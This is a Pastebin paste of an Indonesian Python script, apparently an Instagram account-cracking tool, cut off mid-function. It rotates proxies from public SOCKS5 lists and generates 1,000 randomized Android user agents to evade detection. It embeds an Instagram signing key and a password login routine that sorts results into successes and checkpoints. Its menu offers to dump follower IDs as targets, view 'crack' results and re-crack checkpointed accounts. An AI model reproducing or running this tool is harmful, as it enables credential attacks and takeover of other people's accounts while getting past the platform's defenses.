OBF-XIn

180.241.242.146-/storage/emulated/0/MT2/ig.py.py

May 28th, 2023
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 60.68 KB | None | 0 0
  1. try:
  2.     import re
  3.     import os
  4.     import sys
  5.     import json
  6.     import bs4
  7.     import uuid
  8.     import hmac
  9.     import hashlib
  10.     import urllib
  11.     import urllib.request
  12.     import calendar
  13.     import requests
  14.     import random
  15.     import datetime
  16.     import time
  17.     from time import sleep
  18.     from datetime import datetime
  19.     from concurrent.futures import ThreadPoolExecutor
  20.     from requests.exceptions import ConnectionError
  21. except ImportError as e:
  22.    exit(f"\n Module {e} Error")
  23.  
  24. #------------------[ IMPORT RICH ]-------------------#
  25. from rich.panel import Panel
  26. from rich.tree import Tree
  27. from rich import print as prints
  28. from rich.console import Console
  29. from rich.table import Table
  30. from rich import print as cetak
  31. from rich.progress import track
  32. from bs4 import BeautifulSoup as sop
  33. from rich.panel import Panel as nel
  34. from rich.table import Table as me
  35. from rich.columns import Columns
  36. from rich.table import Table as me
  37. from rich.console import Console as sol
  38. from rich.console import Console as sol
  39. console = Console()
  40. from bs4 import BeautifulSoup as parser
  41. from concurrent.futures import ThreadPoolExecutor as Modol
  42. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  43.  
  44. #------------------[ GLOBAL NAME ]-------------------#
  45. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
  46. method, xxkontol, BrayGagah, BrayUarand, proxxy, UserBrayCrack = [], [], [], [], [], []
  47. batam=[]
  48. opsi=[]
  49. s = requests.Session()
  50. day = datetime.now().strftime("%d-%b-%Y")
  51. nyMnD, nyMxD, menudump, = 5, 10, []
  52. current_GMT = time.gmtime(time.time())
  53.  
  54. #------------------[ DEF BULAN ]-------------------#
  55. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  56.  
  57. #------------------[ INSTAGRAM LOGIN ]-------------------#
  58. insta_log = "https://www.instagram.com/accounts/login/?force_classic_login=&"
  59. url        = "https://i.instagram.com/"
  60.  
  61. #------------------[ COLOUR FOR PRINT ]-------------------#
  62. B = '\x1b[1;94m' # BIRU
  63. U = '\x1b[1;95m' # UNGU
  64. O = '\x1b[1;96m' # BIRU MUDA
  65. N = '\x1b[0m'   # WARNA MATI
  66. H = "\033[0;92m" # HIJAU
  67. K = "\033[0;93m" #KUNING
  68. M = '\x1b[1;91m' # MERAH
  69. P = "\033[0m" # PUTIH
  70.  
  71. #------------------[ WARNA FOR RICH ]-------------------#
  72. Z2 = "[#000000]" # HITAM
  73. M2 = "[#FF0000]" # MERAH
  74. H2 = "[#00FF00]" # HIJAU
  75. K2 = "[#FFFF00]" # KUNING
  76. B2 = "[#00C8FF]" # BIRU
  77. U2 = "[#AF00FF]" # UNGU
  78. N2 = "[#FF00FF]" # PINK
  79. O2 = "[#00FFFF]" # BIRU MUDA
  80. P2 = "[#FFFFFF]" # PUTIH
  81. J2 = "[#FF8F00]" # JINGGA
  82. A2 = "[#AAAAAA]" # ABU-ABU
  83.  
  84. #------------------[ RANDOM COLOR RICH ]-------------------#
  85. L1 = "[#875f5f]" # LIGHT
  86. G1  = "[#ffd700]" # GOLD
  87. M1  = "[#875fd7]" # MEDIUM GREEN
  88. P1   = "[#FF00FF]" # PINK
  89. W1  = "[#FFFFFF]" # WHITE
  90. S1   = "[#87afff]" # SKY BLUE
  91. O1   = "[#d78700]" # ORANGE3
  92. O3   = "[#ff5fff]" # MEDIUM ORCH3
  93.  
  94. #------------------[ COLOR TABLE FOR RICH ]-------------------#
  95. LIGHT = "#875f5f" # LIGHT
  96. GOLD    = "#ffd700" # GOLD
  97. MEDIUM  = "#875fd7" # MEDIUM GREEN
  98. PINK    = "#FF00FF" # PINK
  99. WHITE  = "#FFFFFF" # WHITE
  100. SKY     = "#87afff" # SKY BLUE
  101. ORNG   = "#d78700" # ORANGE3
  102. ORCH   = "#ff5fff" # MEDIUM ORCH
  103.  
  104. #------------------[ RANDOM RICH ]-------------------#
  105. DIT      = random.choice([M2,K2,H2,B2,N2])
  106. TYA     = random.choice ([LIGHT,GOLD,MEDIUM,PINK,SKY,ORNG,ORCH])
  107. ADTYA1 = random.choice([L1,G1,M1,P1,S1,O1,O1])
  108. ADTYA2 = random.choice([H,K,O,B])
  109.  
  110. #------------------[ WARNA ]-------------------#
  111. try:
  112.     color_rich = open("data/color_rich.txt","r").read()
  113. except FileNotFoundError:
  114.     color_rich = "[#afafff]"
  115. try:
  116.     color_table = open("data/color_table.txt","r").read()
  117. except FileNotFoundError:
  118.     color_table = "#afafff"
  119.  
  120. #------------------[ USER-AGENT ]-------------------#
  121. USN = "Mozilla/5.0 (Linux; Android 9; FIG-LX1 Build/HUAWEIFIG-L11; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36 Instagram 240.2.0.18.107 Android (28 /9; 480dpi; 1080x2032; HUAWEI; FIG-LX1; HWFIG-H; hi6250; it_IT; 378116740)"
  122.  
  123. def BrayennnXD():
  124.     rr = random.randint
  125.     a1 = random.choice(['SM-G532F','SM-V417I','SM-J400F','SM-T733','SM-F926B'])
  126.     a2 = random.choice(['CPH2059','CPH2001','CPH1909','CPH2269','CPH1729'])
  127.     p1 = f"Mozilla/5.0 (Linux; Android {str(rr(11,19))}; {a1} Build/PPR1.{str(rr(111111,210000))}.0{str(rr(11,19))}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  128.     p2 = f"Mozilla/5.0 (Linux; Android {str(rr(11,19))}; {a2} Build/SP1A.{str(rr(111111,210000))}.0{str(rr(11,19))}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  129.     UaMainn = random.choice([p1, p2])
  130.     batam.append(UaMainn)
  131.  
  132. for x in range(1000):
  133.     rr = random.randint
  134.     rc = random.choice
  135.     g1 = random.choice(['01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19'])
  136.     g2 = random.choice(['OPM1','TP1A','RP1A','PPR1','PKQ1','QP1A','SP1A','RKQ1'])
  137.     u1 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; SM-A405FN Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  138.     u2 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; SM-J610G Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  139.     u3 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; SM-G610M Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  140.     u4 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; CPH2109 Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  141.     u5 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; SM-J120H Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  142.     u6 = f"Mozilla/5.0 (Linux; Android {str(rr(4,12))}; SM-M317F Build/{g2}.{str(rr(111111,210000))}.0{g1}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(73,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36"
  143.     Ua = random.choice([u1, u2, u3, u4, u5, u6])
  144.     UserBrayCrack.append(Ua)
  145.  
  146. #------------------[ URL-PROXY ]-------------------#
  147. try:
  148.     url_proxy = random.choice([
  149.               "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt",
  150.               "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
  151.               "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
  152.               "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt",
  153.               "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt",
  154.               "https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt",
  155.               ])
  156. except:pass
  157.    
  158. #------------------[ PROXIES ]-------------------#
  159. try:
  160.     url = requests.get(f"{url_proxy}").text
  161.     for brayen in url.splitlines():proxxy.append(brayen)
  162. except requests.exceptions.ConnectionError:
  163.    os.system("clear")
  164.    prints(Panel(f"{P2}     Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=90,padding=(0,2),style=f"bold purple"));sleep(3);exit()
  165.  
  166. #------------------[ GET-IP ]-------------------#
  167. url = requests.get("http://ip-api.com/json/").json()
  168. try:
  169.     IP  = url["query"]
  170.     CN = url["country"]
  171. except KeyError:
  172.     IP = "-"
  173.     CN = "-"
  174.    
  175. #------------------[ WAKTU ]-------------------#
  176. def waktu():
  177.     now = datetime.now()
  178.     hours = now.hour
  179.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  180.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  181.     elif 15 <= hours < 18:timenow = "Selamat sore"
  182.     else:timenow = "Selamat Malam"
  183.     return timenow
  184.  
  185. #------------------[ CLEAR-LAYAR ]-------------------#
  186. def clear():
  187.     try:os.system("clear")
  188.     except:pass
  189.  
  190. #------------------[ Def Banner  ]-------------------#
  191. def Banner():
  192.     cetak(nel('''
  193. \t[bold purple]╦[bold white]┌─┐[bold purple]  ╔═╗[bold white]┬─┐┌─┐┌─┐[bold purple]┬┌─[bold yellow] |[bold white] authot[bold red] :[bold green] BrayennnXD
  194. \t[bold purple]║[bold white]│ ┬[bold purple]  ║  [bold white]├┬┘├─┤│  [bold purple]├┴┐[bold yellow] |[bold white] recode[bold red] :[bold white] gw biar pro 🐰
  195. \t[bold purple]╩[bold white]└─┘[bold purple]  ╚═╝[bold white]┴└─┴ ┴└─┘[bold purple]┴ ┴[bold yellow] |[bold white] versi[bold red]  :[bold green] 0.1
  196. ''',title=f"[bold white]{waktu()}",style=f"bold purple"))
  197.  
  198. #------------------[ PYTHON VERSION ]-------------------#
  199. try:
  200.     # python 2
  201.     urllib_quote_plus = urllib.quote
  202. except:
  203.     # python 3
  204.     urllib_quote_plus = urllib.parse.quote_plus
  205.  
  206. #------------------[ URL LOGIN ]-------------------#
  207. def cekAPI(cookie):
  208.     user=open('data/.username','r').read()
  209.     try:
  210.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  211.         i=c.json()["data"]["user"]
  212.         nama=i["full_name"]
  213.         followers=i["edge_followed_by"]["count"]
  214.         following=i["edge_follow"]["count"]
  215.         external.append(f'{nama}|{followers}|{following}')
  216.     except  (ValueError,KeyError):
  217.         Banner();
  218.         prints(Panel(f"{P2}Opshh Akun Tumbal Mu Terkena{K2} Checkpoint{P2}, Silahkan Login Dengan Akun Lain",width=90,style=f"bold purple"));os.system('rm -rf data/.kukis.log rm -rf data/.username');exit()
  219.     return external,user
  220.  
  221. #------------------[ LOGIN COOKIES ]-------------------#
  222. def loginCookie():
  223.     if "sukses" in lisensiku:
  224.         try:
  225.             kuki=open('data/.kukis.log','r').read()
  226.         except FileNotFoundError:
  227.             Banner();
  228.             prints(Panel(f"{P2}Sebelum Login Pastikan Akun Tumbal Bersifat Publik Dan Tidak Private",width=90,padding=(0,4),style=f"bold purple"))
  229.             us=input(f' [+] {H}Masukan Username :{H} ')
  230.             cok=input(f'{P} [+] {H}Masukan Cookie   :{H} ')
  231.             kuki=open('data/.kukis.log','w').write(cok)
  232.             user=open('data/.username','w').write(us)
  233.             time.sleep(6)
  234.             prints(Panel(f"{P2}Login Akun Tumbal Berhasil, Silahkan Jalankan Ulang Scriptnya{H2} python run.py",width=90,padding=(0,7),style=f"bold purple"));exit()
  235.         ex,user=cekAPI(kuki)
  236.         cookie={'cookie':kuki}
  237.         instagram(ex,user,cookie).menu()
  238.     else:
  239.         lisensi()
  240.  
  241. class instagramAPI:
  242.     API_URL = 'https://i.instagram.com/api/v1/'
  243.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
  244.         'model': 'HM 1SW',
  245.         'android_version': 18,
  246.         'android_release': '4.3'}
  247.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  248.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  249.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  250.     SIG_KEY_VERSION = '4'
  251.  
  252.     def __init__(self,username,password):
  253.         self.username=username
  254.         self.password=password
  255.         m = hashlib.md5()
  256.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  257.         self.device_id = self.generateDeviceId(m.hexdigest())
  258.         self.uuid = self.generateUUID(True)
  259.         self.s = requests.Session()
  260.  
  261.     def generateDeviceId(self, seed):
  262.         volatile_seed = "12345"
  263.         m = hashlib.md5()
  264.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  265.         return 'android-' + m.hexdigest()[:16]
  266.  
  267.     def generateUUID(self, type):
  268.         generated_uuid = str(uuid.uuid4())
  269.         if (type):
  270.             return generated_uuid
  271.         else:
  272.             return generated_uuid.replace('-', '')
  273.  
  274.     def loginAPI(self):
  275.         token=self.s.get("https://i.instagram.com/",headers={"user-agent":USN}).text
  276.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  277.         self.s.headers.update({'Connection': 'close',
  278.             'Accept': '*/*',
  279.             'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  280.             'Cookie2': '$Version=1',
  281.             'Accept-Language': 'en-US',
  282.             'User-Agent': USN})
  283.         self.data = json.dumps({
  284.             'phone_id': self.generateUUID(True),
  285.             '_csrftoken': crf_token,
  286.             'username': self.username,
  287.             'guid': self.uuid,
  288.             'device_id': self.device_id,
  289.             'password': self.password,
  290.             'login_attempt_count': '0'})
  291.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  292.             self.generateUUID(False),
  293.             urllib.request.quote(self.data)
  294.         )
  295.         x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
  296.         x_jason=json.loads(x.text)
  297.         x_kukis=x.cookies.get_dict()
  298.         if "logged_in_user" in x.text:
  299.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  300.             #id=x_jason['logged_in_user']['pk']
  301.             #nm=x_jason['logged_in_user']['full_name']
  302.             #pn=x_jason['logged_in_user']['phone_number']
  303.             return {'status':'success','cookie':kuki,'userame':self.username}
  304.         elif 'challenge_required' in x.text:
  305.             return {'status':'checkpoint'}
  306.         else:
  307.             return {'status':'login_error'}
  308. C = ''
  309.  
  310. #------------------[ MENU TOOLS ]-------------------#
  311. class instagram:
  312.     def __init__(self,external,username,cookie):
  313.         self.ext=external
  314.         self.username=username
  315.         self.cookie=cookie
  316.         self.s=requests.Session()
  317.     def logo(self):
  318.         for i in external:
  319.             try:
  320.                 nama=i.split('|')[0]
  321.                 followers=i.split('|')[1]
  322.                 following=i.split('|')[2]
  323.             except:
  324.                 pass
  325.             Banner();
  326.             BrayGagah.append(Panel(f"{P2}nama      : {H2}{nama}\n{P2}username  : {H2}{self.username}",width=45,padding=(0,2),style=f"bold purple"))
  327.             BrayGagah.append(Panel(f"{P2}pengikut  : {H2}{followers}\n{P2}mengikuti : {H2}{following}",width=45,padding=(0,2),style=f"bold purple"))
  328.             console.print(Columns(BrayGagah))
  329.             prints(Panel(f"{P2}Selamat Datang {H2}{nama} {P2}Gunakan Tools Dengan Bijak :)",width=90,padding=(0,9),style=f"bold purple"))
  330.             prints(Panel(f"{P2}[[bold cyan]01{P2}]. Dump Id Pencarian Nama       {P2}[[bold cyan]05{P2}]. Lihat Hasil Crack\n{P2}[[bold cyan]02{P2}]. Dump Id Pengikut             {P2}[[bold cyan]06{P2}]. Bot Auto Unfollow\n{P2}[[bold cyan]03{P2}]. Dump Id Mengikuti            {P2}[[bold cyan]07{P2}]. Report Bug Script\n{P2}[[bold cyan]04{P2}]. Crack Ulang Hasil Cp         {P2}[[bold cyan]00{P2}]. Keluar Tools",width=90,padding=(0,4),style=f"bold purple"))
  331.  
  332.            
  333.     def hapus_lisensi(self):
  334.         ask = input(f" [+] Apakah Anda Yakin Ingin Menghapus Lisensi? Y/t : ")
  335.         if ask in ["y","Y"]:os.system("rm -rf data/lisensi.txt");prints(Panel(f"{P2}Succeed Menghapus {color_rich}'Lisensi'{P2} Terima Kasih Telah Menggunakan Script Brayennn-Prem",width=90,style=f"bold purple"));time.sleep(2);exit()
  336.         elif ask in ["t","T"]:self.menu()
  337.         else:self.hapus_lisensi()
  338.  
  339.     def Exit(self):
  340.         x=input(f" [+] Apakah Anda Yakin Ingin Keluar? Y/t : ")
  341.         if x in ["y","Y"]:os.system("rm -rf data/.kukis.log rm -rf data/.username");prints(Panel(f"{P2}Succeed Menghapus {color_rich}'Cookie' {P2}Terima Kasih Telah Menggunakan Script BrayenInsta",width=90,padding=(0,2),style=f"bold purple"));time.sleep(2);exit()
  342.         elif x in ["t","T"]:self.menu()
  343.         else:self.menu()
  344.  
  345.     def sixAPI(self,six_id):
  346.         url = "https://i.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  347.         x = requests.get(url)
  348.         x_jason = x.json()
  349.         uid = str( x_jason['users'][0].get("user").get("pk") )
  350.         return uid
  351.  
  352.     def unfollowAPI(self,user_id,username_id,cookie):
  353.         uuid=self.generateUUID(True)
